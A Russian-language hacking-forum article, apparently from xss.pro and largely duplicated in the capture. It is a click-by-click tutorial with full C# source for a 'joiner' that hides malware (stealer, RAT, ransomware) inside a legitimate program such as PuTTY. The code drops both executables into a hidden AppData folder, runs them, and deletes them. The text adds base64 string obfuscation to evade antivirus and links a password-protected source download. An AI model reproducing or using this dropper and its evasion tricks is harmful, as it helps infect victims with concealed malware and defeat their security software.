Пожалуйста, обратите внимание, что пользователь заблокирован
Всем привет, снова небольшая статейка от меня, как и моя прежняя статья она ориентирована на новичков и профи в этой сфере, подойдет каждому.
Точнее в этой статье основываясь на прошлой я реально расписал все по кликам... куда уж проще хз...да же 5-ти летний ребенок умеющий читать разберется и напишет свой первый софт.
Я опишу метод склеивания двух exe в один, посредством C# (.Net) к тому же это будет полный фуд.
План:
Мы добавим в консольный проект 2 exe, а именно в ресусры, это может быть 1 полезная прога и 2 ваша малварь, это не суть, суть в том что бы склеить 2 любых exe и запустить их из 1 exe при том не палясь перед АВ.
Я буду использовать часть кода из моей прошлой статьи, а именно разархиватор архивов которые под паролем.
Исходники проекта что разбираем в этой статье вы найдете в конце.
Нам понадобится:
Visual Studio 2019 C# Скачать
Архиватор 7zip Скачать
Запускаем Visual Studio 2019 и создаем консольный проект:
Выбираем платформу .Net Framework 4.5, имя проекта любое, у меня будет: ViJoy
Теперь установим нужные NuGet пакеты, жмем в верхнем меню кнопку "Проект" и далее "Управление NuGet пакетами"
1. Жмем вкладку "Обзор" и вводим в строку поиска: SharpZipLib > "Установить"
2. Там же в строке поиска вводим "Costura.Fody" > "Установить"
3. Справа жмем по Program.cs:
Начнем писать код.
Удаляем все в редакторе и вставляем мой код, в коде смотрите комментарии что можно изменить, название файлов, архивов, все что я комментил все можно изменить на ваши имена, поехали:
Учтите если вы назвали проект не как уменя: ViJoy
То после вставки кода переименуйте: namespace "ViJoy" < на свой
Для примера я буду использовать 2 программы:
Их мы и будем склеивать, вы можете представить это так:
Для начала будем использовать 7zip и запакуем их в 1 архив под паролем.
Выделяем эти 2 файла, жмем правой кнопкой мыши и жмем: 7-zip > добавить к архиву
В моем случаи пароль будет 123
И мы получаем архив с паролем 123:
ahiv.zip, его давайте переименуем в другой формат и название:
Теперь этот архив надо добавить в наш exe который мы кодили в Visual Studio 2019 (Далее буду назвать это VS).
Открываем снова VS:
1. Жмем по проекту правой кнопкой мыши:
Свойства.
Опять правой кнопкой про проекту, скрин выше > свойства > слева в меню: Приложение > Тип выходных данных выбираем: приложение Windows
Теперь нам надо все собрать/скомпилить, ура!
Выбираем в окне VS вместо Debug > Release
Теперь соберем наши exe и весь проект в 1 exe!
Жмем в верхнем меню "СБОРКА" > "Собрать решение"
Готово!
Что бы найти наш exe файл снова жмем по проекту правой кнопкой мыши > "открыть папку в проводнике"
Идем в папку bin > Release и видим наш exe файл. Запускаем. и Оп:
Как видим все 2 наши программы запустились!
А теперь самое интересное, детект такого джойнера:
Конечно если ваши 2 exe сильно палятся их надо криптовать, т.к это не спасет от детекта все равно, когда наш главный exe распакует вашу малварь и запустит, я дал пример лиш офигенно чистного склейщика на C#.
Вы так же можете добавить по этой технологии сколько угодно exe! хоть 100шт и запускать все разом, данный код не ограничен только двумя exe файлами.
Разберем теперь логику работы:
Теперь дополнить статью, шифрованием строк в base64, можно использовать и так как есть, но мы же ТРУ кодеры, нам надо что бы было все в лучшем виде.
К тому же такое шифрование даст анти-скантайм-детект в будущем.
Этого нет в исходах, и коде выше, тут уже давайте думайте головой и пишите тру код сами!
Что такое шифрование строк?
Если простыми словами, то мы шифруем в нечитабельный вид пути файлов, и их имена, конечно так можно шифровать любые текстовые поля, но у меня все в примере на нашем проекте в статье.
Для этого нам надо найти все строки
Как то так они все выглядят, это те что мы с вами можем менять под себя.
Выводим в отдельную функцию шифрование в base64:
Выше строки:
Добавим:
Добавляем перед ковычкой что на скрине:
CreateASCIIStr(
А после закрываеющей ковычки скобку: ")"
Теперь идем на http://base64.ru/ и кодируем что между ковычками "" в base64
И получаем код в виде:
Теперь все наши пути, имена архива, и файлов в нем зашифрованны base64.
Что опять же дает хороший обход детекта АВ если ваш софт начнет палится в открытом виде, т.е я вам дал 2 вида софта можно сказать.
Начнет палится 1, изменяете имена файлов, путей, шифруете в новый base64 и снова фуд скантайм нубских АВ. А пока и тру ав полный фуд)
Для знающих:
Такая технология поможет избавиться от множества детектов в вашем софте на c# где используются текстовые параметры, да, просто. Но реально помогает!
Если не понятно, сравните разницу скринов с шифрованием и без него, на этом уже делайте выводы, думаю понятно обьяснил как шифровать строки в простой base64 и избавляться от детектов в будущем.
Исходники проекта который мы с вами разобрали в статье можете скачать тут как и обещал:
[CLIKE]
Скачать: https://anonfiles.com/4aLcC0A3ne/ViJoy_zip
Пароль: xss.pro
[/CLIKE]
Все тех. вопросы пишите в статью. В лс не надо. Тут я буду стараться отвечать каждому.
Точнее в этой статье основываясь на прошлой я реально расписал все по кликам... куда уж проще хз...да же 5-ти летний ребенок умеющий читать разберется и напишет свой первый софт.
Я опишу метод склеивания двух exe в один, посредством C# (.Net) к тому же это будет полный фуд.
План:
Мы добавим в консольный проект 2 exe, а именно в ресусры, это может быть 1 полезная прога и 2 ваша малварь, это не суть, суть в том что бы склеить 2 любых exe и запустить их из 1 exe при том не палясь перед АВ.
Я буду использовать часть кода из моей прошлой статьи, а именно разархиватор архивов которые под паролем.
Исходники проекта что разбираем в этой статье вы найдете в конце.
Нам понадобится:
Visual Studio 2019 C# Скачать
Архиватор 7zip Скачать
Запускаем Visual Studio 2019 и создаем консольный проект:
Выбираем платформу .Net Framework 4.5, имя проекта любое, у меня будет: ViJoy
Теперь установим нужные NuGet пакеты, жмем в верхнем меню кнопку "Проект" и далее "Управление NuGet пакетами"
1. Жмем вкладку "Обзор" и вводим в строку поиска: SharpZipLib > "Установить"
2. Там же в строке поиска вводим "Costura.Fody" > "Установить"
3. Справа жмем по Program.cs:
Начнем писать код.
Удаляем все в редакторе и вставляем мой код, в коде смотрите комментарии что можно изменить, название файлов, архивов, все что я комментил все можно изменить на ваши имена, поехали:
Учтите если вы назвали проект не как уменя: ViJoy
То после вставки кода переименуйте: namespace "ViJoy" < на свой
C#:
using ICSharpCode.SharpZipLib.Core;
using ICSharpCode.SharpZipLib.Zip;
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Text;
using System.Threading;
namespace ViJoy
{
class Program
{
static void Main(string[] args)
{
string dir = Environment.GetEnvironmentVariable("AppData") + "\\Templers"; // Путь к папке где будет храниться файл
if (!Directory.Exists(dir))
File.WriteAllBytes("joy.y", Properties.Resources.joy); // создаем файлы из бинарного массива **** в Resources (если он есть, то будет переопределен) т.е распаковываем 2 ваших программы exe
string password = ("123"); // Пароль от архива с вашими двумя exe файлами
ExtractZipFile("joy.y", password, dir + "\\"); //Вводим пароль и распакуем архив в системную директорию Templers, она в AppData, см код выше.
//Создаем поток и работаем с exe программой 1 которую распаковали:
new Thread(() =>
{
try
{
File.SetAttributes(dir + "\\exe1.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
Process proc = Process.Start(dir + "\\exe1.exe"); //Запускаем exe малвари
proc.WaitForExit(); //Ждем завершения программы если надо
File.Delete(dir + "\\exe1.exe"); //Удаляем exe малвари если надо
}
catch (Exception)
{
}
}).Start();
//Создаем еще 1 поток и работаем с exe программой 2 которую распаковали:
new Thread(() =>
{
try
{
File.SetAttributes(dir + "\\exe2.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
Process proc = Process.Start(dir + "\\exe2.exe"); //Запускаем exe малвари
proc.WaitForExit(); //Ждем завершения программы если надо
File.Delete(dir + "\\exe2.exe"); //Удаляем exe малвари если надо
}
catch (Exception)
{
}
}).Start();
}
//Далее фукнкиция разархиватора zip
private static void ExtractZipFile(string archiveFilenameIn, string password, string outFolder)
{
{
ZipFile zf = null;
try
{
FileStream fs = File.OpenRead(archiveFilenameIn);
zf = new ZipFile(fs);
if (!string.IsNullOrEmpty(password))
{
zf.Password = password;
}
foreach (ZipEntry zipEntry in zf)
{
if (!zipEntry.IsFile)
{
continue;
}
string entryFileName = zipEntry.Name;
byte[] buffer = new byte[4096];
Stream zipStream = zf.GetInputStream(zipEntry);
string fullZipToPath = Path.Combine(outFolder, entryFileName);
string directoryName = Path.GetDirectoryName(fullZipToPath);
if (directoryName.Length > 0)
Directory.CreateDirectory(directoryName);
using (FileStream streamWriter = File.Create(fullZipToPath))
{
StreamUtils.Copy(zipStream, streamWriter, buffer);
}
}
}
catch (Exception ex)
{
throw ex;
}
finally
{
if (zf != null)
{
zf.IsStreamOwner = true;
zf.Close();
}
}
}
}
}
}
Для примера я буду использовать 2 программы:
- putty.exe - в коде она как - exe1.exe
- puttygen.exe - в коде она как - exe2.exe
Их мы и будем склеивать, вы можете представить это так:
- exe1.exe - Это нормальная прога с которой надо клеить вашу малварь
- exe2.exe - Это уже сама ваша малварь, стиллер, рат, криптолокер и т.д
Для начала будем использовать 7zip и запакуем их в 1 архив под паролем.
Выделяем эти 2 файла, жмем правой кнопкой мыши и жмем: 7-zip > добавить к архиву
- Уровень сжатия - ультра
- Формат архива - zip
В моем случаи пароль будет 123
И мы получаем архив с паролем 123:
ahiv.zip, его давайте переименуем в другой формат и название:
Теперь этот архив надо добавить в наш exe который мы кодили в Visual Studio 2019 (Далее буду назвать это VS).
Открываем снова VS:
1. Жмем по проекту правой кнопкой мыши:
Свойства.
- Справа будет меню, ищем кнопку "Ресурсы" и жмем.
- Вверху будет кнопка: добавить ресурс, и выбираем наш архив: joy.cfg
- Жмем стрелку рядом с названием: "Добавит ресурс", а не слово добавить ресурс, т.к тогда окно выбора файла не откроется.
Опять правой кнопкой про проекту, скрин выше > свойства > слева в меню: Приложение > Тип выходных данных выбираем: приложение Windows
Теперь нам надо все собрать/скомпилить, ура!
Выбираем в окне VS вместо Debug > Release
Теперь соберем наши exe и весь проект в 1 exe!
Жмем в верхнем меню "СБОРКА" > "Собрать решение"
Готово!
Что бы найти наш exe файл снова жмем по проекту правой кнопкой мыши > "открыть папку в проводнике"
Идем в папку bin > Release и видим наш exe файл. Запускаем. и Оп:
Как видим все 2 наши программы запустились!
А теперь самое интересное, детект такого джойнера:
Конечно если ваши 2 exe сильно палятся их надо криптовать, т.к это не спасет от детекта все равно, когда наш главный exe распакует вашу малварь и запустит, я дал пример лиш офигенно чистного склейщика на C#.
Я не могу в данный момент вам показать рантайм детект, кто может проверьте, бабок нет у меня) но проверяя где то 3 месяца назад был ПОЛНЫЙ ФУД! Да да! Рантайм. Но это с обычными софтами, не малварью в архиве, например с теми что в моем примере в этой статье.
Вы так же можете добавить по этой технологии сколько угодно exe! хоть 100шт и запускать все разом, данный код не ограничен только двумя exe файлами.
Разберем теперь логику работы:
- Жертва запускает ваш exe
- exe достает из себя/ресурсов/выблевывает ваш архив с паролем в системную папку Templers
- Вводит пароль и запускает все 2 exe разом которые в нем
- Ждет завершения работы этих exe и если они завершненны, т.е программа закрыта, то наш главный exe удаляет их что бы не палиться
Теперь дополнить статью, шифрованием строк в base64, можно использовать и так как есть, но мы же ТРУ кодеры, нам надо что бы было все в лучшем виде.
К тому же такое шифрование даст анти-скантайм-детект в будущем.
Этого нет в исходах, и коде выше, тут уже давайте думайте головой и пишите тру код сами!
Что такое шифрование строк?
Если простыми словами, то мы шифруем в нечитабельный вид пути файлов, и их имена, конечно так можно шифровать любые текстовые поля, но у меня все в примере на нашем проекте в статье.
Для этого нам надо найти все строки
Как то так они все выглядят, это те что мы с вами можем менять под себя.
Выводим в отдельную функцию шифрование в base64:
Выше строки:
C#:
static void Main(string[] args)
C#:
public static string CreateASCIIStr(string value) =>
Encoding.ASCII.GetString(Convert.FromBase64String(value));
Добавляем перед ковычкой что на скрине:
CreateASCIIStr(
А после закрываеющей ковычки скобку: ")"
Теперь идем на http://base64.ru/ и кодируем что между ковычками "" в base64
И получаем код в виде:
Теперь все наши пути, имена архива, и файлов в нем зашифрованны base64.
Что опять же дает хороший обход детекта АВ если ваш софт начнет палится в открытом виде, т.е я вам дал 2 вида софта можно сказать.
Начнет палится 1, изменяете имена файлов, путей, шифруете в новый base64 и снова фуд скантайм нубских АВ. А пока и тру ав полный фуд)
Не знаю почему "тру" кодеры на шарпе не использвали это (не буду называть их имена) в своих супер софтах...но это вить просто...и реально на, "нет" сводит детекты. (до поры, до времени) вообще вариантов много прятать строки я лишь показал самый простой вариант, который реально работает.
Для знающих:
Такая технология поможет избавиться от множества детектов в вашем софте на c# где используются текстовые параметры, да, просто. Но реально помогает!
Если не понятно, сравните разницу скринов с шифрованием и без него, на этом уже делайте выводы, думаю понятно обьяснил как шифровать строки в простой base64 и избавляться от детектов в будущем.
Исходники проекта который мы с вами разобрали в статье можете скачать тут как и обещал:
[CLIKE]
Скачать: https://anonfiles.com/4aLcC0A3ne/ViJoy_zip
Пароль: xss.pro
[/CLIKE]
Все тех. вопросы пишите в статью. В лс не надо. Тут я буду стараться отвечать каждому.
Всем спасибо и удачи мего кодеры!
// © ViCode, https://xss.pro/members/186547/
// © ViCode, https://xss.pro/members/186547/
Последнее редактирование: